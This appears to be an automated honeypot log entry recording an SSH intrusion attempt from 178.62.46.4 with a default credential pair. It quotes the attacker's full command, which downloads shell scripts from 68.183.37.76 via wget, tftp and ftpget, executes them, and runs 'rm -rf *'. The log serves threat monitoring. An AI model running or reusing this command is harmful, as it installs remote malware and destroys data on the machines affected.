honeypots.tk

Record Observations : 178.62.46.4 ssh Web script execution 178.62.46.4 PBR1TBJS1SEQ3I5T

<< Back

178.62.46.4 client username 'DUP root' and password 'administrator' entered
178.62.46.4 client command : 'cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://68.183.37.76/it.sh; chmod 777 it.sh; sh it.sh; tftp 68.183.37.76 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 68.183.37.76; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 68.183.37.76 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf it.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *'
Author: Honeypots.tk Robot